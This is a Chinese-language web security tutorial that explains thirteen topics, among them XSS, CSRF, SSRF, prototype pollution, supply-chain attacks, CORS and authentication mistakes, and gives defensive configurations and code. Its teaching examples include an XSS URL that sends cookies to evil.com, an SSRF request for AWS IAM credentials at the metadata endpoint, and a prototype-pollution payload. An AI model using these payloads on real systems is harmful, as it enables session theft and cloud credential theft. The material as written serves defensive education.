Chaos and Order

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为什么需要一篇讲"攻击技术"的文章

开发者知道有 OWASP Top 10。但他们不知道那些条目落在自己代码的哪个位置。安全不是理论，必须靠具体的攻击手法和具体的防御代码来学。

2024 年登记的 CVE 数量：刷新历史最高纪录，超过 28,000 件。
npm 攻击因为 GitHub Dependabot 减少了 30%，但每周仍有数百起。
AI 生成的代码平均漏洞密度高出 40%（Stanford 2024）。

2025 年，你的应用被黑掉的方式大概率仍然是这里列出的十种之一。

Part 1 — XSS (Cross-Site Scripting)

三种形态

1. Reflected XSS

https://app.com/search?q=<script>fetch('//evil.com?c='+document.cookie)</script>

服务器把 q 原样插入 HTML。点一次 URL 就被窃取。

2. Stored XSS

恶意脚本被保存到评论、个人资料这类持久化存储里。最糟糕的情况 — 所有访问者都受影响。

3. DOM-based XSS

服务器完好无损。客户端 JS 把 location.hash 或 postMessage 不加校验就插入 DOM。

// 不好的写法
document.getElementById('welcome').innerHTML = `Hello ${location.hash.slice(1)}`;

防御层次

1. 输出转义（基础）

React、Vue、Svelte 默认转义。
但使用 dangerouslySetInnerHTML、v-html、{@html} 时会被击穿。
如果必须允许用户提供 HTML，就用 DOMPurify 做 sanitize。

import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userHtml);

2. CSP (Content Security Policy)

最强的 XSS 防御。

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-rAnd0m' 'strict-dynamic';
  style-src 'self' 'unsafe-inline';
  img-src 'self' https: data:;
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';
  upgrade-insecure-requests;

nonce：服务器每次响应生成一个随机值，放进 <script nonce="...">。
strict-dynamic：受信任的脚本所加载的脚本也允许执行。
'unsafe-inline' 绝对禁止 — 90% 的 CSP 绕过都从这里开始。

3. Trusted Types（Chrome 83+，Firefox/Safari 不支持 → polyfill）

"禁止把字符串直接赋给危险的 sink（innerHTML 等）。"

Content-Security-Policy: require-trusted-types-for 'script'

const policy = trustedTypes.createPolicy('my-policy', {
  createHTML: (input) => DOMPurify.sanitize(input)
});

element.innerHTML = policy.createHTML(userInput);

Google 内部强制启用之后，自家应用的 XSS 报告数量骤降。

4. 框架提供的安全 API

React：用普通 children 代替 dangerouslySetInnerHTML。
Vue：用 {{ }} 代替 v-html。
Angular：[innerHTML] + DomSanitizer。

Part 2 — CSRF (Cross-Site Request Forgery)

原理

攻击者的站点自动提交 <form action="https://bank.com/transfer" method="POST">。受害者的 Cookie 被自动带上，请求于是成功。

2020 年之前的防御：CSRF Token

服务器签发 token → 放进 form 的 hidden field → 校验。
Django、Rails 默认内置。

Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly; Path=/

Lax（2020 年起的 Chrome 默认值）：只允许 top-level navigation 的 GET。
Strict：跨站时绝不发送。
None：不受限制（必须配 Secure）。

大多数 CSRF 都被 SameSite Lax 自动挡住了。 但以下情况仍然需要 token：

GET 请求会改变状态（违反 RESTful）。
子域之间的请求。
用 CORS 开放出去的 POST 端点。

不依赖服务器 session 的 CSRF 防御。在 Cookie 和请求头里发送同一个 token 并比对校验。SPA + token 认证中经常使用。

Part 3 — SSRF (Server-Side Request Forgery)

2019 年 Capital One 事件

攻击者（Paige Thompson）诱导服务器从服务端发起请求访问 AWS EC2 元数据（169.254.169.254），窃取 IAM 凭证 → 从 S3 桶泄露了一亿人的数据。

攻击模式

# 服务器代码
@app.route('/fetch')
def fetch():
    url = request.args.get('url')
    return requests.get(url).text

# 攻击：/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

防御

使用 IMDSv2（AWS） — 基于 token，GET 也需要 session。

MetadataOptions:
  HttpTokens: required
  HttpPutResponseHopLimit: 1

URL 校验 — 校验 scheme、host、port，并在 DNS 解析之后校验 IP。
- 阻断私有 IP 段（10/8, 172.16/12, 192.168/16, 127/8, 169.254/16）。
- DNS Rebinding 防御 — 校验之后，在真正发出请求之前再校验一次。
网络隔离 — 把有 SSRF 风险的代码放进访问不到元数据的 VPC/子网。
出站代理 — 强制经过基于允许列表的代理。
Fetch 库的 redirect: 'manual' — 防止通过重定向绕道访问内部。

补充要点：0.0.0.0、IPv6、短链接

http://0.0.0.0/ → 会被解析为本地绑定地址。
http://[::1]/ → IPv6 回环。
http://bit.ly/... → 通过重定向指向内部目标。

Part 4 — Clickjacking

原理

攻击者的站点用 <iframe> 把受害站点透明地覆盖在上面，劫持用户的点击。

防御

X-Frame-Options: DENY
或
Content-Security-Policy: frame-ancestors 'none'

frame-ancestors 更强也更灵活（可以允许多个域名）。X-Frame-Options 属于遗留方案，但一并加上仍然更安全。

用户视角的防御：给重要操作（支付、修改密码）加上二次认证或额外确认步骤。

Part 5 — Prototype Pollution

原理（Node.js / 浏览器 JS 通用）

const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign({}, payload);
// 此后所有对象都带上 isAdmin: true
({}).isAdmin  // true

真实 CVE

Lodash（2019，_.merge） — 影响数百万应用。
jQuery $.extend(true, ...)。
minimist（2020） — 影响大量 CLI 工具。

防御

递归 merge 时过滤 __proto__、constructor、prototype。
Object.freeze(Object.prototype) — 尽量在应用启动时执行。
使用 Map — 存放任意键时用 Map 而不是 plain object。
Object.create(null) — 没有原型的对象。

function safeMerge(target, source) {
  for (const key in source) {
    if (['__proto__', 'constructor', 'prototype'].includes(key)) continue;
    target[key] = source[key];
  }
}

Part 6 — 供应链攻击

代表性事件

event-stream (2018)

在一个每周 200 万下载量的 npm 包里被植入了恶意代码。目标是 Copay 加密货币钱包，试图窃取受害者钱包里的 BTC。

ua-parser-js (2021)

每周 600 万下载量。攻击者夺取维护者账号之后发布了恶意版本。

xz-utils (2024)

几乎所有 Linux 都包含的压缩库。"Jia Tan"花了两年时间取得维护者资格，随后植入了 OpenSSH 后门。微软工程师 Andres Freund 偶然发现了它。

SolarWinds (2020)

构建流水线本身被攻破。恶意代码混进了已签名的更新，分发给了 18,000 家客户。

防御

提交 lock 文件 — package-lock.json、pnpm-lock.yaml。
npm ci — 在 CI 中遵循 lock。
自动依赖更新 + 复核 — Dependabot / Renovate。
漏洞扫描器 — Snyk、GitHub Advisory、npm audit。
生成 SBOM — 用 Syft 列出组成清单。
签名校验 — npm 2023+ 的 provenance、Sigstore/cosign。
OSSF Scorecard — 查看包的安全评分。
最小权限 CI — 别让构建服务器拿到超出需要的权限。

Typosquatting

rquest（真正的是 request）、lodas（真正的是 lodash） — 专门盯着拼写错误的恶意包。养成复制正式名称的习惯。

Part 7 — 彻底理解 CORS

很多开发者的误解

"放开 CORS 就等于放开安全。"错了。 CORS 不是安全功能，而是给同源策略（SOP）开例外的机制。SOP 才是默认的盾牌，CORS 是在这块盾牌上打洞的工具。

基本规则

浏览器发出跨源请求时：

简单请求：GET/HEAD/POST + 特定 Content-Type → 直接发送，若响应里带 Access-Control-Allow-Origin 则允许读取。
预检请求（preflight）：PUT/DELETE/自定义头/JSON POST → 先用 OPTIONS 请求确认。

常见错误

1. `Access-Control-Allow-Origin: *` + `Allow-Credentials: true`

浏览器会拒绝。用通配符就不能携带凭证。必须回显具体的某个源。

// 不好的写法
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');

// 好的写法（先检查允许列表）
if (allowedOrigins.includes(origin)) {
  res.setHeader('Access-Control-Allow-Origin', origin);
  res.setHeader('Vary', 'Origin');
  res.setHeader('Access-Control-Allow-Credentials', 'true');
}

2. 把 `Origin` 原样回显

不做匹配校验就回显，等于任何站点都能读取凭证 → 后果严重。

3. 漏掉 `Vary: Origin`

缓存会把错误的响应发给另一个源。

CORS 与安全的关系

CORS 开着并不会导致 token 泄露 — HttpOnly Cookie 和 Authorization 头依然安全。
但当 CSRF 防御依赖 SameSite 加 Origin 校验时，CORS 配置失误就会放行已认证的请求。

Part 8 — Rate Limiting & Bot Defense

为什么需要

登录暴力破解
注册垃圾流量
爬虫导致的成本暴涨
AI 重度用户造成的 API 滥用

策略

基于 IP 的令牌桶 — Redis INCR + TTL 是常见实现。
基于用户/账号 — 登录之后按账号而不是按 IP 计。
Sliding Window — 精确但成本高。
在 CDN/Edge 层拦截 — Cloudflare、Fastly、Vercel Firewall。

Bot Detection

Cloudflare Turnstile（2022） — 用户体验更好的 CAPTCHA 替代方案。
hCaptcha、Google reCAPTCHA v3。
Arkose Labs — 金融行业的标准。
Device Fingerprinting — FingerprintJS。

响应策略

429 Too Many Requests + Retry-After 头。
比起静默失败，明确的报错对用户和支持团队都更有好处。
对攻击者则用延迟响应（tarpit）让其浪费时间。

Part 9 — 认证中的常见错误

1. 把 JWT 存在 localStorage

一次 XSS 就被窃取。请使用 HttpOnly Cookie。

2. 用 SHA-256 做密码哈希

只能用 Argon2id、bcrypt、scrypt。普通哈希在 GPU 上每秒可以反算数亿次。

3. 密码找回 token 可预测

类似 btoa(email + Date.now()) 的错误。要用密码学随机数 + 短 TTL + 一次性使用。

4. 邮箱枚举（Enumeration）

"该邮箱尚未注册" → 攻击者据此收集会员名单。响应必须保持一致。

5. 会话固定（Session Fixation）

登录成功时必须轮换会话 ID。

Part 10 — HTTPS 与证书上的错误

没有配置 HSTS

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

用来防御首次 HTTP 请求上的 MITM。登记到 preload 列表之后，连第一次访问也受保护。

证书固定（Pinning）的陷阱

在移动应用里固定公钥。证书更新时，如果没法重新发布应用，全部用户都会中断。服务用户量到了几千万，就别做固定。监控 CT（Certificate Transparency）更实用。

Let's Encrypt + 自动续期

90 天的证书 → 必须自动续期。
2024 年的 ACME Renewal Info（ARI）让续期时机变得更聪明。
rustls-acme、lego、certbot、Caddy（内置）。

Part 11 — 实战检查清单（12 项）

CSP 一开始就上 — 等到运行期再补，unsafe-inline 一定会留下来。
SameSite=Lax 作为默认 — 只有例外情况才用 None。
HttpOnly + Secure — 会话 Cookie 上这是理所当然的。
强制 IMDSv2 — 用 AWS 时必须做。
URL fetch 一律走 SSRF 代理 — 禁止直接 fetch(userUrl)。
依赖要有 lock 文件 + 自动审计。
所有外部输入都做 schema 校验（Zod 等）。
输出 sink 要 sanitize — 赋值给 innerHTML 之前先过 DOMPurify。
密码用 Argon2id — 不过已有的 bcrypt 也没问题。
Rate Limit + 登录失败的指数级延迟。
密钥放 Vault/Secrets Manager — 不要提交 .env 文件。
安全响应头全部配上 — HSTS、CSP、XFO、XCTO、Referrer-Policy、Permissions-Policy。

Part 12 — 十大反模式

innerHTML = userData — 直通 XSS。
滥用 dangerouslySetInnerHTML — 不做 sanitize 就用。
Access-Control-Allow-Origin: * + 凭证。
URL fetch 不做任何校验。
eval、Function(string)、setTimeout(string)。
把 JWT 放进 localStorage — 一次 XSS 就全丢了。
密码重置 token 是简单数字 / 基于时间。
错误信息里暴露内部信息 — 堆栈跟踪、查询语句、token。
没有 CAPTCHA，允许无限次尝试。
"因为是 HTTPS 所以安全" — 传输安全只是底线。认证与授权是另一回事。

Part 13 — 学习 & 实践资源

书籍： The Web Application Hacker's Handbook（Stuttard & Pinto） — 经典。
书籍： Real-World Bug Hunting（Peter Yaworski） — HackerOne 的真实案例。
平台： PortSwigger Web Security Academy（免费）。
比赛/练习： HackTheBox、TryHackMe。
工具： Burp Suite、OWASP ZAP、Semgrep、CodeQL。
新闻： Krebs on Security、The Hacker News、GitHub Advisory DB。
随笔： 每年读一读 Snyk/Google 的安全报告。

结语 — 安全就是"基本功"

这篇文章里的攻击，从 1998 年到 2024 年每年都在重复。就算新技术不断出现，先被攻破的永远是丢了基本功的应用。

对 2025 年的工程师来说，安全不是"黑客才做的特殊领域"。它是融进每天的代码评审、每天的库选型、每天的 API 设计里的基本功。

好消息：这篇文章里的防御手段大多是免费的。CSP、SameSite、DOMPurify、Zod、Dependabot、Cloudflare Turnstile。一行配置、一个库，就能让大量攻击失效。

坏消息： 总想着"下个项目一定要做"就往后拖。已经上线的应用，此时此刻正在被扫描。

下一篇预告 — "实战网络工程" — TCP 拥塞控制、TLS 1.3、HTTP/3 QUIC、DNS over HTTPS、BGP，一直到 CDN 内部

如果说 Web 安全讲的是"要挡住什么"，那么下一篇讲的是"数据是怎么来回走的"。

TCP 拥塞控制的现代 — BBR、CUBIC、PRR
TLS 1.3 的革命 — 1-RTT、0-RTT、Post-Quantum
HTTP/3 + QUIC — 基于 UDP 的重新诠释
DNS 的演进 — DoH、DoT、DNSSEC、ECS
BGP 劫持 — 2021 年 Facebook 六小时故障的真正原因
Anycast 与 CDN 路由 — Cloudflare/Fastly/Akamai
WebSocket vs SSE vs WebTransport — 实时通信的选择
Zero RTT 的安全风险 — replay attack
用 eBPF 观测网络
按数据包粒度理解协议 — Wireshark 实战

如何把"网络好慢"的原因一路追到协议层去找。下一篇见。